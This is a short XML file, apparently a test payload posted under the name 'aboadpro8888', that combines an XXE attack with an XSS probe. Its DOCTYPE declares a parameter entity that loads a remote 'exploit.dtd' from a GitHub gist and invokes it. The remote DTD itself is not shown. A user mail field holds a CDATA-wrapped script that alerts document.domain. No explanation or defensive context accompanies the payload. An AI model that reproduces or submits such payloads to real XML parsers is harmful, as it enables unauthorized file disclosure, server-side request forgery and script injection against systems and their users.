aboadpro8888

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY % remote SYSTEM "https://gist.githubusercontent.com/aboadpro8888/e404ce6e443ffed2eceb5fb600fd2b73/raw/a53698d95dfde524e36ac58da774afde422f94a1/exploit.dtd">
  %remote;
]>
<users>
    <user>
        <mail><mail><![CDATA[<script>alert(document.domain)</script>]]></mail></mail>
    </user>
</users>